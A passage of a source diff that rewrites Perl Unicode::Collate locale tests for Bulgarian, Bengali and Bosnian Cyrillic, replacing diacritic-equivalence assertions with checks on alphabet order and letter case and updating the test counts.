-ok($objBg->eq("\x{4D1}", "\x{430}"));
-ok($objBg->eq("\x{4D0}", "\x{410}"));
-ok($objBg->eq("\x{4D3}", "\x{430}"));
-ok($objBg->eq("\x{4D2}", "\x{410}"));
-ok($objBg->eq("\x{4DB}", "\x{4D9}"));
-ok($objBg->eq("\x{4DA}", "\x{4D8}"));
-ok($objBg->eq("\x{453}", "\x{433}"));
-ok($objBg->eq("\x{403}", "\x{413}"));
-ok($objBg->eq("\x{450}", "\x{435}")); # not contraction
-ok($objBg->eq("\x{400}", "\x{415}")); # not contraction
-ok($objBg->eq("\x{451}", "\x{435}")); # not contraction
-ok($objBg->eq("\x{401}", "\x{415}")); # not contraction
-ok($objBg->eq("\x{4D7}", "\x{435}"));
-ok($objBg->eq("\x{4D6}", "\x{415}"));
-ok($objBg->eq("\x{4C2}", "\x{436}")); # not contraction
-ok($objBg->eq("\x{4C1}", "\x{416}")); # not contraction
-ok($objBg->eq("\x{4DD}", "\x{436}"));
-ok($objBg->eq("\x{4DC}", "\x{416}"));
-ok($objBg->eq("\x{4DF}", "\x{437}"));
-ok($objBg->eq("\x{4DE}", "\x{417}"));
-ok($objBg->eq("\x{45D}", "\x{438}")); # not contraction
-ok($objBg->eq("\x{40D}", "\x{418}")); # not contraction
-ok($objBg->eq("\x{4E3}", "\x{438}")); # not contraction
-ok($objBg->eq("\x{4E2}", "\x{418}")); # not contraction
-ok($objBg->eq("\x{457}", "\x{456}"));
-ok($objBg->eq("\x{407}", "\x{406}"));
-ok($objBg->eq("\x{4E7}", "\x{43E}"));
-ok($objBg->eq("\x{4E6}", "\x{41E}"));
-ok($objBg->eq("\x{4EB}", "\x{4E9}"));
-ok($objBg->eq("\x{4EA}", "\x{4E8}"));
-ok($objBg->eq("\x{45C}", "\x{43A}"));
-ok($objBg->eq("\x{40C}", "\x{41A}"));
-ok($objBg->eq("\x{4EF}", "\x{443}")); # not contraction
-ok($objBg->eq("\x{4EE}", "\x{423}")); # not contraction
-ok($objBg->eq("\x{45E}", "\x{443}"));
-ok($objBg->eq("\x{40E}", "\x{423}"));
-ok($objBg->eq("\x{4F1}", "\x{443}"));
-ok($objBg->eq("\x{4F0}", "\x{423}"));
-ok($objBg->eq("\x{4F3}", "\x{443}"));
-ok($objBg->eq("\x{4F2}", "\x{423}"));
-ok($objBg->eq("\x{4F5}", "\x{447}"));
-ok($objBg->eq("\x{4F4}", "\x{427}"));
-ok($objBg->eq("\x{4F9}", "\x{44B}"));
-ok($objBg->eq("\x{4F8}", "\x{42B}"));
-ok($objBg->eq("\x{4ED}", "\x{44D}"));
-ok($objBg->eq("\x{4EC}", "\x{42D}"));
-ok($objBg->eq("\x{477}", "\x{475}"));
-ok($objBg->eq("\x{476}", "\x{474}"));
-
-# 54
+ok($objBg->lt("\x{430}z", "\x{431}"));
+ok($objBg->lt("\x{431}z", "\x{432}"));
+ok($objBg->lt("\x{432}z", "\x{433}"));
+ok($objBg->lt("\x{433}z", "\x{434}"));
+ok($objBg->lt("\x{434}z", "\x{435}"));
+ok($objBg->lt("\x{435}z", "\x{436}"));
+ok($objBg->lt("\x{436}z", "\x{437}"));
+ok($objBg->lt("\x{437}z", "\x{438}"));
+ok($objBg->lt("\x{438}z", "\x{439}"));
+ok($objBg->lt("\x{439}z", "\x{43a}"));
+ok($objBg->lt("\x{43a}z", "\x{43b}"));
+ok($objBg->lt("\x{43b}z", "\x{43c}"));
+ok($objBg->lt("\x{43c}z", "\x{43d}"));
+ok($objBg->lt("\x{43d}z", "\x{43e}"));
+ok($objBg->lt("\x{43e}z", "\x{43f}"));
+ok($objBg->lt("\x{43f}z", "\x{440}"));
+ok($objBg->lt("\x{440}z", "\x{441}"));
+ok($objBg->lt("\x{441}z", "\x{442}"));
+ok($objBg->lt("\x{442}z", "\x{443}"));
+ok($objBg->lt("\x{443}z", "\x{444}"));
+ok($objBg->lt("\x{444}z", "\x{445}"));
+ok($objBg->lt("\x{445}z", "\x{446}"));
+ok($objBg->lt("\x{446}z", "\x{447}"));
+ok($objBg->lt("\x{447}z", "\x{448}"));
+ok($objBg->lt("\x{448}z", "\x{449}"));
+ok($objBg->lt("\x{449}z", "\x{44a}"));
+ok($objBg->lt("\x{44a}z", "\x{44c}"));
+ok($objBg->lt("\x{44c}z", "\x{44e}"));
+ok($objBg->lt("\x{44e}z", "\x{44f}"));
+
+ok($objBg->lt("\x{410}z", "\x{411}"));
+ok($objBg->lt("\x{411}z", "\x{412}"));
+ok($objBg->lt("\x{412}z", "\x{413}"));
+ok($objBg->lt("\x{413}z", "\x{414}"));
+ok($objBg->lt("\x{414}z", "\x{415}"));
+ok($objBg->lt("\x{415}z", "\x{416}"));
+ok($objBg->lt("\x{416}z", "\x{417}"));
+ok($objBg->lt("\x{417}z", "\x{418}"));
+ok($objBg->lt("\x{418}z", "\x{419}"));
+ok($objBg->lt("\x{419}z", "\x{41a}"));
+ok($objBg->lt("\x{41a}z", "\x{41b}"));
+ok($objBg->lt("\x{41b}z", "\x{41c}"));
+ok($objBg->lt("\x{41c}z", "\x{41d}"));
+ok($objBg->lt("\x{41d}z", "\x{41e}"));
+ok($objBg->lt("\x{41e}z", "\x{41f}"));
+ok($objBg->lt("\x{41f}z", "\x{420}"));
+ok($objBg->lt("\x{420}z", "\x{421}"));
+ok($objBg->lt("\x{421}z", "\x{422}"));
+ok($objBg->lt("\x{422}z", "\x{423}"));
+ok($objBg->lt("\x{423}z", "\x{424}"));
+ok($objBg->lt("\x{424}z", "\x{425}"));
+ok($objBg->lt("\x{425}z", "\x{426}"));
+ok($objBg->lt("\x{426}z", "\x{427}"));
+ok($objBg->lt("\x{427}z", "\x{428}"));
+ok($objBg->lt("\x{428}z", "\x{429}"));
+ok($objBg->lt("\x{429}z", "\x{42a}"));
+ok($objBg->lt("\x{42a}z", "\x{42c}"));
+ok($objBg->lt("\x{42c}z", "\x{42e}"));
+ok($objBg->lt("\x{42e}z", "\x{42f}"));
+
+# 60
$objBg->change(level => 2);
-ok($objBg->gt("\x{4D1}", "\x{430}"));
-ok($objBg->gt("\x{4D0}", "\x{410}"));
-ok($objBg->gt("\x{4D3}", "\x{430}"));
-ok($objBg->gt("\x{4D2}", "\x{410}"));
-ok($objBg->gt("\x{4DB}", "\x{4D9}"));
-ok($objBg->gt("\x{4DA}", "\x{4D8}"));
-ok($objBg->gt("\x{453}", "\x{433}"));
-ok($objBg->gt("\x{403}", "\x{413}"));
-ok($objBg->gt("\x{450}", "\x{435}")); # not contraction
-ok($objBg->gt("\x{400}", "\x{415}")); # not contraction
-ok($objBg->gt("\x{451}", "\x{435}")); # not contraction
-ok($objBg->gt("\x{401}", "\x{415}")); # not contraction
-ok($objBg->gt("\x{4D7}", "\x{435}"));
-ok($objBg->gt("\x{4D6}", "\x{415}"));
-ok($objBg->gt("\x{4C2}", "\x{436}")); # not contraction
-ok($objBg->gt("\x{4C1}", "\x{416}")); # not contraction
-ok($objBg->gt("\x{4DD}", "\x{436}"));
-ok($objBg->gt("\x{4DC}", "\x{416}"));
-ok($objBg->gt("\x{4DF}", "\x{437}"));
-ok($objBg->gt("\x{4DE}", "\x{417}"));
-ok($objBg->gt("\x{45D}", "\x{438}")); # not contraction
-ok($objBg->gt("\x{40D}", "\x{418}")); # not contraction
-ok($objBg->gt("\x{4E3}", "\x{438}")); # not contraction
-ok($objBg->gt("\x{4E2}", "\x{418}")); # not contraction
-ok($objBg->gt("\x{457}", "\x{456}"));
-ok($objBg->gt("\x{407}", "\x{406}"));
-ok($objBg->gt("\x{4E7}", "\x{43E}"));
-ok($objBg->gt("\x{4E6}", "\x{41E}"));
-ok($objBg->gt("\x{4EB}", "\x{4E9}"));
-ok($objBg->gt("\x{4EA}", "\x{4E8}"));
-ok($objBg->gt("\x{45C}", "\x{43A}"));
-ok($objBg->gt("\x{40C}", "\x{41A}"));
-ok($objBg->gt("\x{4EF}", "\x{443}")); # not contraction
-ok($objBg->gt("\x{4EE}", "\x{423}")); # not contraction
-ok($objBg->gt("\x{45E}", "\x{443}"));
-ok($objBg->gt("\x{40E}", "\x{423}"));
-ok($objBg->gt("\x{4F1}", "\x{443}"));
-ok($objBg->gt("\x{4F0}", "\x{423}"));
-ok($objBg->gt("\x{4F3}", "\x{443}"));
-ok($objBg->gt("\x{4F2}", "\x{423}"));
-ok($objBg->gt("\x{4F5}", "\x{447}"));
-ok($objBg->gt("\x{4F4}", "\x{427}"));
-ok($objBg->gt("\x{4F9}", "\x{44B}"));
-ok($objBg->gt("\x{4F8}", "\x{42B}"));
-ok($objBg->gt("\x{4ED}", "\x{44D}"));
-ok($objBg->gt("\x{4EC}", "\x{42D}"));
-ok($objBg->gt("\x{477}", "\x{475}"));
-ok($objBg->gt("\x{476}", "\x{474}"));
-
-# 102
+ok($objBg->eq("\x{430}", "\x{410}"));
+ok($objBg->eq("\x{431}", "\x{411}"));
+ok($objBg->eq("\x{432}", "\x{412}"));
+ok($objBg->eq("\x{433}", "\x{413}"));
+ok($objBg->eq("\x{434}", "\x{414}"));
+ok($objBg->eq("\x{435}", "\x{415}"));
+ok($objBg->eq("\x{436}", "\x{416}"));
+ok($objBg->eq("\x{437}", "\x{417}"));
+ok($objBg->eq("\x{438}", "\x{418}"));
+ok($objBg->eq("\x{439}", "\x{419}"));
+ok($objBg->eq("\x{43a}", "\x{41a}"));
+ok($objBg->eq("\x{43b}", "\x{41b}"));
+ok($objBg->eq("\x{43c}", "\x{41c}"));
+ok($objBg->eq("\x{43d}", "\x{41d}"));
+ok($objBg->eq("\x{43e}", "\x{41e}"));
+ok($objBg->eq("\x{43f}", "\x{41f}"));
+ok($objBg->eq("\x{440}", "\x{420}"));
+ok($objBg->eq("\x{441}", "\x{421}"));
+ok($objBg->eq("\x{442}", "\x{422}"));
+ok($objBg->eq("\x{443}", "\x{423}"));
+ok($objBg->eq("\x{444}", "\x{424}"));
+ok($objBg->eq("\x{445}", "\x{425}"));
+ok($objBg->eq("\x{446}", "\x{426}"));
+ok($objBg->eq("\x{447}", "\x{427}"));
+ok($objBg->eq("\x{448}", "\x{428}"));
+ok($objBg->eq("\x{449}", "\x{429}"));
+ok($objBg->eq("\x{44a}", "\x{42a}"));
+ok($objBg->eq("\x{44c}", "\x{42c}"));
+ok($objBg->eq("\x{44e}", "\x{42e}"));
+ok($objBg->eq("\x{44f}", "\x{42f}"));
+
+# 90
$objBg->change(level => 3);
-ok($objBg->eq("\x{4E5}", "\x{438}\x{308}")); # not suppressed
-ok($objBg->eq("\x{4E4}", "\x{418}\x{308}")); # not suppressed
-ok($objBg->eq("\x{439}", "\x{438}\x{306}")); # not suppressed
-ok($objBg->eq("\x{419}", "\x{418}\x{306}")); # not suppressed
-
-# 106
-
-for my $i ("", "\0") {
- ok($objBg->eq("\x{4D1}", "\x{430}$i\x{306}"));
- ok($objBg->eq("\x{4D0}", "\x{410}$i\x{306}"));
- ok($objBg->eq("\x{4D3}", "\x{430}$i\x{308}"));
- ok($objBg->eq("\x{4D2}", "\x{410}$i\x{308}"));
- ok($objBg->eq("\x{4DB}", "\x{4D9}$i\x{308}"));
- ok($objBg->eq("\x{4DA}", "\x{4D8}$i\x{308}"));
- ok($objBg->eq("\x{453}", "\x{433}$i\x{301}"));
- ok($objBg->eq("\x{403}", "\x{413}$i\x{301}"));
- ok($objBg->eq("\x{450}", "\x{435}$i\x{300}")); # not contraction
- ok($objBg->eq("\x{400}", "\x{415}$i\x{300}")); # not contraction
- ok($objBg->eq("\x{451}", "\x{435}$i\x{308}")); # not contraction
- ok($objBg->eq("\x{401}", "\x{415}$i\x{308}")); # not contraction
- ok($objBg->eq("\x{4D7}", "\x{435}$i\x{306}"));
- ok($objBg->eq("\x{4D6}", "\x{415}$i\x{306}"));
- ok($objBg->eq("\x{4C2}", "\x{436}$i\x{306}")); # not contraction
- ok($objBg->eq("\x{4C1}", "\x{416}$i\x{306}")); # not contraction
- ok($objBg->eq("\x{4DD}", "\x{436}$i\x{308}"));
- ok($objBg->eq("\x{4DC}", "\x{416}$i\x{308}"));
- ok($objBg->eq("\x{4DF}", "\x{437}$i\x{308}"));
- ok($objBg->eq("\x{4DE}", "\x{417}$i\x{308}"));
- ok($objBg->eq("\x{45D}", "\x{438}$i\x{300}")); # not contraction
- ok($objBg->eq("\x{40D}", "\x{418}$i\x{300}")); # not contraction
- ok($objBg->eq("\x{4E3}", "\x{438}$i\x{304}")); # not contraction
- ok($objBg->eq("\x{4E2}", "\x{418}$i\x{304}")); # not contraction
- ok($objBg->eq("\x{457}", "\x{456}$i\x{308}"));
- ok($objBg->eq("\x{407}", "\x{406}$i\x{308}"));
- ok($objBg->eq("\x{4E7}", "\x{43E}$i\x{308}"));
- ok($objBg->eq("\x{4E6}", "\x{41E}$i\x{308}"));
- ok($objBg->eq("\x{4EB}", "\x{4E9}$i\x{308}"));
- ok($objBg->eq("\x{4EA}", "\x{4E8}$i\x{308}"));
- ok($objBg->eq("\x{45C}", "\x{43A}$i\x{301}"));
- ok($objBg->eq("\x{40C}", "\x{41A}$i\x{301}"));
- ok($objBg->eq("\x{4EF}", "\x{443}$i\x{304}")); # not contraction
- ok($objBg->eq("\x{4EE}", "\x{423}$i\x{304}")); # not contraction
- ok($objBg->eq("\x{45E}", "\x{443}$i\x{306}"));
- ok($objBg->eq("\x{40E}", "\x{423}$i\x{306}"));
- ok($objBg->eq("\x{4F1}", "\x{443}$i\x{308}"));
- ok($objBg->eq("\x{4F0}", "\x{423}$i\x{308}"));
- ok($objBg->eq("\x{4F3}", "\x{443}$i\x{30B}"));
- ok($objBg->eq("\x{4F2}", "\x{423}$i\x{30B}"));
- ok($objBg->eq("\x{4F5}", "\x{447}$i\x{308}"));
- ok($objBg->eq("\x{4F4}", "\x{427}$i\x{308}"));
- ok($objBg->eq("\x{4F9}", "\x{44B}$i\x{308}"));
- ok($objBg->eq("\x{4F8}", "\x{42B}$i\x{308}"));
- ok($objBg->eq("\x{4ED}", "\x{44D}$i\x{308}"));
- ok($objBg->eq("\x{4EC}", "\x{42D}$i\x{308}"));
- ok($objBg->eq("\x{477}", "\x{475}$i\x{30F}"));
- ok($objBg->eq("\x{476}", "\x{474}$i\x{30F}"));
-}
-
-# 202
+ok($objBg->lt("\x{430}", "\x{410}"));
+ok($objBg->lt("\x{431}", "\x{411}"));
+ok($objBg->lt("\x{432}", "\x{412}"));
+ok($objBg->lt("\x{433}", "\x{413}"));
+ok($objBg->lt("\x{434}", "\x{414}"));
+ok($objBg->lt("\x{435}", "\x{415}"));
+ok($objBg->lt("\x{436}", "\x{416}"));
+ok($objBg->lt("\x{437}", "\x{417}"));
+ok($objBg->lt("\x{438}", "\x{418}"));
+ok($objBg->lt("\x{439}", "\x{419}"));
+ok($objBg->lt("\x{43a}", "\x{41a}"));
+ok($objBg->lt("\x{43b}", "\x{41b}"));
+ok($objBg->lt("\x{43c}", "\x{41c}"));
+ok($objBg->lt("\x{43d}", "\x{41d}"));
+ok($objBg->lt("\x{43e}", "\x{41e}"));
+ok($objBg->lt("\x{43f}", "\x{41f}"));
+ok($objBg->lt("\x{440}", "\x{420}"));
+ok($objBg->lt("\x{441}", "\x{421}"));
+ok($objBg->lt("\x{442}", "\x{422}"));
+ok($objBg->lt("\x{443}", "\x{423}"));
+ok($objBg->lt("\x{444}", "\x{424}"));
+ok($objBg->lt("\x{445}", "\x{425}"));
+ok($objBg->lt("\x{446}", "\x{426}"));
+ok($objBg->lt("\x{447}", "\x{427}"));
+ok($objBg->lt("\x{448}", "\x{428}"));
+ok($objBg->lt("\x{449}", "\x{429}"));
+ok($objBg->lt("\x{44a}", "\x{42a}"));
+ok($objBg->lt("\x{44c}", "\x{42c}"));
+ok($objBg->lt("\x{44e}", "\x{42e}"));
+ok($objBg->lt("\x{44f}", "\x{42f}"));
+
+# 120
+
+ok($objBg->eq("\x{439}", "\x{438}\x{306}"));
+ok($objBg->eq("\x{419}", "\x{418}\x{306}"));
+
+# 122
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_bn.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_bn.t
index 385cf5b2fad..2fe96ddb78a 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_bn.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_bn.t
@@ -42,8 +42,7 @@ $objBn->change(level => 1);
for my $h (0, 1) {
no warnings 'utf8';
- my $t = $h ? pack('U', 0xFFFF) : "";
- $objBn->change(highestFFFF => 1) if $h;
+ my $t = $h ? pack('U', 0xFFFF) : 'z';
ok($objBn->lt("\x{993}$t", "\x{994}"));
ok($objBn->lt("\x{994}$t", "\x{982}"));
@@ -51,3 +50,5 @@ for my $h (0, 1) {
ok($objBn->lt("\x{983}$t", "\x{981}"));
ok($objBn->lt("\x{981}$t", "\x{995}"));
}
+
+# 12
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_bscy.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_bscy.t
index ce3457f9812..8245e60ad34 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_bscy.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_bscy.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..210\n"; }
+BEGIN { $| = 1; print "1..128\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -40,173 +40,151 @@ ok($objBsCyrl->getlocale, 'bs_Cyrl');
$objBsCyrl->change(level => 1);
-ok($objBsCyrl->eq("\x{4D1}", "\x{430}"));
-ok($objBsCyrl->eq("\x{4D0}", "\x{410}"));
-ok($objBsCyrl->eq("\x{4D3}", "\x{430}"));
-ok($objBsCyrl->eq("\x{4D2}", "\x{410}"));
-ok($objBsCyrl->eq("\x{4DB}", "\x{4D9}"));
-ok($objBsCyrl->eq("\x{4DA}", "\x{4D8}"));
-ok($objBsCyrl->eq("\x{453}", "\x{433}"));
-ok($objBsCyrl->eq("\x{403}", "\x{413}"));
-ok($objBsCyrl->eq("\x{450}", "\x{435}")); # not contraction
-ok($objBsCyrl->eq("\x{400}", "\x{415}")); # not contraction
-ok($objBsCyrl->eq("\x{451}", "\x{435}")); # not contraction
-ok($objBsCyrl->eq("\x{401}", "\x{415}")); # not contraction
-ok($objBsCyrl->eq("\x{4D7}", "\x{435}"));
-ok($objBsCyrl->eq("\x{4D6}", "\x{415}"));
-ok($objBsCyrl->eq("\x{4C2}", "\x{436}")); # not contraction
-ok($objBsCyrl->eq("\x{4C1}", "\x{416}")); # not contraction
-ok($objBsCyrl->eq("\x{4DD}", "\x{436}"));
-ok($objBsCyrl->eq("\x{4DC}", "\x{416}"));
-ok($objBsCyrl->eq("\x{4DF}", "\x{437}"));
-ok($objBsCyrl->eq("\x{4DE}", "\x{417}"));
-ok($objBsCyrl->eq("\x{45D}", "\x{438}")); # not contraction
-ok($objBsCyrl->eq("\x{40D}", "\x{418}")); # not contraction
-ok($objBsCyrl->eq("\x{4E3}", "\x{438}")); # not contraction
-ok($objBsCyrl->eq("\x{4E2}", "\x{418}")); # not contraction
-ok($objBsCyrl->eq("\x{4E5}", "\x{438}"));
-ok($objBsCyrl->eq("\x{4E4}", "\x{418}"));
-ok($objBsCyrl->eq("\x{457}", "\x{456}"));
-ok($objBsCyrl->eq("\x{407}", "\x{406}"));
-ok($objBsCyrl->eq("\x{439}", "\x{438}"));
-ok($objBsCyrl->eq("\x{419}", "\x{418}"));
-ok($objBsCyrl->eq("\x{4E7}", "\x{43E}"));
-ok($objBsCyrl->eq("\x{4E6}", "\x{41E}"));
-ok($objBsCyrl->eq("\x{4EB}", "\x{4E9}"));
-ok($objBsCyrl->eq("\x{4EA}", "\x{4E8}"));
-ok($objBsCyrl->eq("\x{45C}", "\x{43A}"));
-ok($objBsCyrl->eq("\x{40C}", "\x{41A}"));
-ok($objBsCyrl->eq("\x{4EF}", "\x{443}")); # not contraction
-ok($objBsCyrl->eq("\x{4EE}", "\x{423}")); # not contraction
-ok($objBsCyrl->eq("\x{45E}", "\x{443}"));
-ok($objBsCyrl->eq("\x{40E}", "\x{423}"));
-ok($objBsCyrl->eq("\x{4F1}", "\x{443}"));
-ok($objBsCyrl->eq("\x{4F0}", "\x{423}"));
-ok($objBsCyrl->eq("\x{4F3}", "\x{443}"));
-ok($objBsCyrl->eq("\x{4F2}", "\x{423}"));
-ok($objBsCyrl->eq("\x{4F5}", "\x{447}"));
-ok($objBsCyrl->eq("\x{4F4}", "\x{427}"));
-ok($objBsCyrl->eq("\x{4F9}", "\x{44B}"));
-ok($objBsCyrl->eq("\x{4F8}", "\x{42B}"));
-ok($objBsCyrl->eq("\x{4ED}", "\x{44D}"));
-ok($objBsCyrl->eq("\x{4EC}", "\x{42D}"));
-ok($objBsCyrl->eq("\x{477}", "\x{475}"));
-ok($objBsCyrl->eq("\x{476}", "\x{474}"));
-
-# 54
+ok($objBsCyrl->lt("\x{430}z", "\x{431}"));
+ok($objBsCyrl->lt("\x{431}z", "\x{432}"));
+ok($objBsCyrl->lt("\x{432}z", "\x{433}"));
+ok($objBsCyrl->lt("\x{433}z", "\x{434}"));
+ok($objBsCyrl->lt("\x{434}z", "\x{452}"));
+ok($objBsCyrl->lt("\x{452}z", "\x{435}"));
+ok($objBsCyrl->lt("\x{435}z", "\x{436}"));
+ok($objBsCyrl->lt("\x{436}z", "\x{437}"));
+ok($objBsCyrl->lt("\x{437}z", "\x{438}"));
+ok($objBsCyrl->lt("\x{438}z", "\x{458}"));
+ok($objBsCyrl->lt("\x{458}z", "\x{43a}"));
+ok($objBsCyrl->lt("\x{43a}z", "\x{43b}"));
+ok($objBsCyrl->lt("\x{43b}z", "\x{459}"));
+ok($objBsCyrl->lt("\x{459}z", "\x{43c}"));
+ok($objBsCyrl->lt("\x{43c}z", "\x{43d}"));
+ok($objBsCyrl->lt("\x{43d}z", "\x{45a}"));
+ok($objBsCyrl->lt("\x{45a}z", "\x{43e}"));
+ok($objBsCyrl->lt("\x{43e}z", "\x{43f}"));
+ok($objBsCyrl->lt("\x{43f}z", "\x{440}"));
+ok($objBsCyrl->lt("\x{440}z", "\x{441}"));
+ok($objBsCyrl->lt("\x{441}z", "\x{442}"));
+ok($objBsCyrl->lt("\x{442}z", "\x{45b}"));
+ok($objBsCyrl->lt("\x{45b}z", "\x{443}"));
+ok($objBsCyrl->lt("\x{443}z", "\x{444}"));
+ok($objBsCyrl->lt("\x{444}z", "\x{445}"));
+ok($objBsCyrl->lt("\x{445}z", "\x{446}"));
+ok($objBsCyrl->lt("\x{446}z", "\x{447}"));
+ok($objBsCyrl->lt("\x{447}z", "\x{45f}"));
+ok($objBsCyrl->lt("\x{45f}z", "\x{448}"));
+
+ok($objBsCyrl->lt("\x{410}z", "\x{411}"));
+ok($objBsCyrl->lt("\x{411}z", "\x{412}"));
+ok($objBsCyrl->lt("\x{412}z", "\x{413}"));
+ok($objBsCyrl->lt("\x{413}z", "\x{414}"));
+ok($objBsCyrl->lt("\x{414}z", "\x{402}"));
+ok($objBsCyrl->lt("\x{402}z", "\x{415}"));
+ok($objBsCyrl->lt("\x{415}z", "\x{416}"));
+ok($objBsCyrl->lt("\x{416}z", "\x{417}"));
+ok($objBsCyrl->lt("\x{417}z", "\x{418}"));
+ok($objBsCyrl->lt("\x{418}z", "\x{408}"));
+ok($objBsCyrl->lt("\x{408}z", "\x{41a}"));
+ok($objBsCyrl->lt("\x{41a}z", "\x{41b}"));
+ok($objBsCyrl->lt("\x{41b}z", "\x{409}"));
+ok($objBsCyrl->lt("\x{409}z", "\x{41c}"));
+ok($objBsCyrl->lt("\x{41c}z", "\x{41d}"));
+ok($objBsCyrl->lt("\x{41d}z", "\x{40a}"));
+ok($objBsCyrl->lt("\x{40a}z", "\x{41e}"));
+ok($objBsCyrl->lt("\x{41e}z", "\x{41f}"));
+ok($objBsCyrl->lt("\x{41f}z", "\x{420}"));
+ok($objBsCyrl->lt("\x{420}z", "\x{421}"));
+ok($objBsCyrl->lt("\x{421}z", "\x{422}"));
+ok($objBsCyrl->lt("\x{422}z", "\x{40b}"));
+ok($objBsCyrl->lt("\x{40b}z", "\x{423}"));
+ok($objBsCyrl->lt("\x{423}z", "\x{424}"));
+ok($objBsCyrl->lt("\x{424}z", "\x{425}"));
+ok($objBsCyrl->lt("\x{425}z", "\x{426}"));
+ok($objBsCyrl->lt("\x{426}z", "\x{427}"));
+ok($objBsCyrl->lt("\x{427}z", "\x{40f}"));
+ok($objBsCyrl->lt("\x{40f}z", "\x{428}"));
+
+# 60
+
+ok($objBsCyrl->eq("\x{438}", "\x{439}"));
+ok($objBsCyrl->eq("\x{418}", "\x{419}"));
+
+# 62
$objBsCyrl->change(level => 2);
-ok($objBsCyrl->gt("\x{4D1}", "\x{430}"));
-ok($objBsCyrl->gt("\x{4D0}", "\x{410}"));
-ok($objBsCyrl->gt("\x{4D3}", "\x{430}"));
-ok($objBsCyrl->gt("\x{4D2}", "\x{410}"));
-ok($objBsCyrl->gt("\x{4DB}", "\x{4D9}"));
-ok($objBsCyrl->gt("\x{4DA}", "\x{4D8}"));
-ok($objBsCyrl->gt("\x{453}", "\x{433}"));
-ok($objBsCyrl->gt("\x{403}", "\x{413}"));
-ok($objBsCyrl->gt("\x{450}", "\x{435}")); # not contraction
-ok($objBsCyrl->gt("\x{400}", "\x{415}")); # not contraction
-ok($objBsCyrl->gt("\x{451}", "\x{435}")); # not contraction
-ok($objBsCyrl->gt("\x{401}", "\x{415}")); # not contraction
-ok($objBsCyrl->gt("\x{4D7}", "\x{435}"));
-ok($objBsCyrl->gt("\x{4D6}", "\x{415}"));
-ok($objBsCyrl->gt("\x{4C2}", "\x{436}")); # not contraction
-ok($objBsCyrl->gt("\x{4C1}", "\x{416}")); # not contraction
-ok($objBsCyrl->gt("\x{4DD}", "\x{436}"));
-ok($objBsCyrl->gt("\x{4DC}", "\x{416}"));
-ok($objBsCyrl->gt("\x{4DF}", "\x{437}"));
-ok($objBsCyrl->gt("\x{4DE}", "\x{417}"));
-ok($objBsCyrl->gt("\x{45D}", "\x{438}")); # not contraction
-ok($objBsCyrl->gt("\x{40D}", "\x{418}")); # not contraction
-ok($objBsCyrl->gt("\x{4E3}", "\x{438}")); # not contraction
-ok($objBsCyrl->gt("\x{4E2}", "\x{418}")); # not contraction
-ok($objBsCyrl->gt("\x{4E5}", "\x{438}"));
-ok($objBsCyrl->gt("\x{4E4}", "\x{418}"));
-ok($objBsCyrl->gt("\x{457}", "\x{456}"));
-ok($objBsCyrl->gt("\x{407}", "\x{406}"));
-ok($objBsCyrl->gt("\x{439}", "\x{438}"));
-ok($objBsCyrl->gt("\x{419}", "\x{418}"));
-ok($objBsCyrl->gt("\x{4E7}", "\x{43E}"));
-ok($objBsCyrl->gt("\x{4E6}", "\x{41E}"));
-ok($objBsCyrl->gt("\x{4EB}", "\x{4E9}"));
-ok($objBsCyrl->gt("\x{4EA}", "\x{4E8}"));
-ok($objBsCyrl->gt("\x{45C}", "\x{43A}"));
-ok($objBsCyrl->gt("\x{40C}", "\x{41A}"));
-ok($objBsCyrl->gt("\x{4EF}", "\x{443}")); # not contraction
-ok($objBsCyrl->gt("\x{4EE}", "\x{423}")); # not contraction
-ok($objBsCyrl->gt("\x{45E}", "\x{443}"));
-ok($objBsCyrl->gt("\x{40E}", "\x{423}"));
-ok($objBsCyrl->gt("\x{4F1}", "\x{443}"));
-ok($objBsCyrl->gt("\x{4F0}", "\x{423}"));
-ok($objBsCyrl->gt("\x{4F3}", "\x{443}"));
-ok($objBsCyrl->gt("\x{4F2}", "\x{423}"));
-ok($objBsCyrl->gt("\x{4F5}", "\x{447}"));
-ok($objBsCyrl->gt("\x{4F4}", "\x{427}"));
-ok($objBsCyrl->gt("\x{4F9}", "\x{44B}"));
-ok($objBsCyrl->gt("\x{4F8}", "\x{42B}"));
-ok($objBsCyrl->gt("\x{4ED}", "\x{44D}"));
-ok($objBsCyrl->gt("\x{4EC}", "\x{42D}"));
-ok($objBsCyrl->gt("\x{477}", "\x{475}"));
-ok($objBsCyrl->gt("\x{476}", "\x{474}"));
-
-# 106
+ok($objBsCyrl->lt("\x{438}", "\x{439}"));
+ok($objBsCyrl->lt("\x{418}", "\x{419}"));
+
+# 64
+
+ok($objBsCyrl->eq("\x{430}", "\x{410}"));
+ok($objBsCyrl->eq("\x{431}", "\x{411}"));
+ok($objBsCyrl->eq("\x{432}", "\x{412}"));
+ok($objBsCyrl->eq("\x{433}", "\x{413}"));
+ok($objBsCyrl->eq("\x{434}", "\x{414}"));
+ok($objBsCyrl->eq("\x{452}", "\x{402}"));
+ok($objBsCyrl->eq("\x{435}", "\x{415}"));
+ok($objBsCyrl->eq("\x{436}", "\x{416}"));
+ok($objBsCyrl->eq("\x{437}", "\x{417}"));
+ok($objBsCyrl->eq("\x{438}", "\x{418}"));
+ok($objBsCyrl->eq("\x{439}", "\x{419}"));
+ok($objBsCyrl->eq("\x{458}", "\x{408}"));
+ok($objBsCyrl->eq("\x{43a}", "\x{41a}"));
+ok($objBsCyrl->eq("\x{43b}", "\x{41b}"));
+ok($objBsCyrl->eq("\x{459}", "\x{409}"));
+ok($objBsCyrl->eq("\x{43c}", "\x{41c}"));
+ok($objBsCyrl->eq("\x{43d}", "\x{41d}"));
+ok($objBsCyrl->eq("\x{45a}", "\x{40a}"));
+ok($objBsCyrl->eq("\x{43e}", "\x{41e}"));
+ok($objBsCyrl->eq("\x{43f}", "\x{41f}"));
+ok($objBsCyrl->eq("\x{440}", "\x{420}"));
+ok($objBsCyrl->eq("\x{441}", "\x{421}"));
+ok($objBsCyrl->eq("\x{442}", "\x{422}"));
